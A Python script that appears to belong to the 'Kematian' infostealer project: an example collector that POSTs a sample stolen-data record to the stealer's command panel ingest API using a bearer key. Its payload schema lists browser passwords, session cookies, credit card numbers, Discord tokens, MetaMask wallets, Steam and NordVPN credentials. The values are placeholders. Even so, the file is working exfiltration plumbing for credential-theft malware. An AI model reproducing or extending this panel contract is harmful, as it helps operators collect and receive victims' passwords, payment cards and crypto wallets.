50 lines
1.7 KiB
Python
50 lines
1.7 KiB
Python
"""
|
|
Example collector that mirrors the panel ingest contract.
|
|
|
|
Point this at a running panel and it pushes a sample CollectionResult.
|
|
|
|
Usage: python example_post.py (or edit to set your own values)
|
|
"""
|
|
import json
|
|
import urllib.request
|
|
|
|
PANEL = "http://localhost:5000/api/ingest"
|
|
KEY = "kematian-ingest-key-CHANGE-ME"
|
|
|
|
payload = {
|
|
"clientId": "demo-client-01",
|
|
"host": {"os": "Windows 11", "arch": "x64", "version": "10.0.22631"},
|
|
"passwords": [
|
|
{"url": "https://github.com", "username": "demo", "password": "hunter2",
|
|
"browser": "chrome", "profile": "Default"},
|
|
],
|
|
"cookies": [
|
|
{"host": ".example.com", "name": "session", "value": "abc123",
|
|
"path": "/", "secure": True, "httpOnly": True, "browser": "chrome", "profile": "Default"},
|
|
],
|
|
"creditCards": [
|
|
{"nameOnCard": "Demo User", "expirationMonth": 12, "expirationYear": 2029,
|
|
"cardNumber": "4111111111111111", "browser": "edge", "profile": "Profile 1"},
|
|
],
|
|
"discordTokens": [
|
|
{"token": "fake.discord.token.here", "source": "C:\\Users\\demo\\AppData\\Roaming\\discord"},
|
|
],
|
|
"wallets": [
|
|
{"name": "MetaMask", "type": "chrome", "path": "C:\\...\\MetaMask", "size": 2048},
|
|
],
|
|
"gaming": {"steam": {"steamPath": "C:\\Program Files (x86)\\Steam", "account": "demo"}},
|
|
"vpns": {"nordvpn": [{"version": "6.0", "username": "demo", "password": "pw"}]},
|
|
}
|
|
|
|
req = urllib.request.Request(
|
|
PANEL,
|
|
data=json.dumps(payload).encode(),
|
|
headers={"Authorization": f"Bearer {KEY}", "Content-Type": "application/json"},
|
|
method="POST",
|
|
)
|
|
try:
|
|
with urllib.request.urlopen(req) as resp:
|
|
print(resp.status, resp.read().decode())
|
|
except Exception as e:
|
|
print("FAILED:", e)
|